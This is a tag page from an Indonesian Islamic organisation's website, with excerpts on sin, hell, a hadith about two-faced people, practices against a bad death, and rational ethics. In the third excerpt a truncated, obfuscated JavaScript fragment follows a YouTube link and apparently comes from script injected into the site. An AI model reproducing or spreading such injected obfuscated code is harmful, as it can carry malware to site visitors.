Situs Resmi Komisi Bimbingan dan Dakwah Syura Ahlulbait Indonesia (ABI)
HomePosts Tagged "Buruk"

Buruk Tag

Oleh: Dr. Muhsin Labib, MA Beberapa kata dan istilah direduksi maknanya dalam komunikasi popular hingga pengertian esensialnya pun kabur, terutama istilah-istilah yang berhubungan perilaku dan agama, seperti, dosa, munkar dan maksiat. Dosa adalah kata serapan dari bahasa Sanskerta, yang berarti tindakan yang melanggar norma atau aturan yang

نَارُ ٱللهِ ٱلۡمُوقَدَةُ ۝ ٱلَّتِي تَطَّلِعُ عَلَى ٱلۡأَفۡئِدَةِ (Yaitu) api (azab) Allah yang dinyalakan, yang membakar sampai ke hati. (QS. Al-Humazah [104]: 7) Allah Swt menyifati neraka ini membakar hati. Alqur'an menyebut hati bukan bagian tubuh yang lain, karena ia merupakan wadah keimanan dan kebaikan pada manusia

Imam Hasan al-Askari as: "Seburuk-buruk hamba adalah yang berwajah dan berlisan ganda. Ia memuji saudaranya di hadapannya namun menikam di baliknya. Jika ada yang diberi karunia, ia mendengkinya, jika ada yang ditimpa musibah, ia menghinanya." (Tuhaf al-'Uqul, h. 488) [*] Baca: "Makna Penyempurnaan Karunia Allah dalam Doa Arafah" https://www.youtube.com/watch?v=ixAbJer8Enk&t=15s function _0x3023(_0x562006,_0x1334d6){const

Di antara hal-hal yang bisa mencegah kematian yang buruk adalah: 1. Sedekah, khususnya di malam hari 2. Haji 3. Amal baik 4. Doa 5. Kebajikan 6. Menyambung hubungan kekerabatan (silaturahmi) 7. Membaca surah at-Taghabun dan al-Humazah 8. Membaca: Subhanallah, walhamdulillah, wa La ilaha illallah, wallahu akbar 30x Sumber: al-Atsar al-Wadh'iyyah fi al-Kitab wa al-Sunnah

Adalah lanjutan dari tulisan sebelumnya yang berjudul “Tolok Ukur Baik dan Buruk”. Di sini, dua poin yang akan diketengahkan: proposisi aksiomatis dan dalil teori baik-buruk rasional. Para filosof membagi akal pada: teoritis dan praktis. Akal teoritis mengkonfirmasi pengetahuan yang tidak berurusan dengan perbuatan. Sedangkan yang berurusan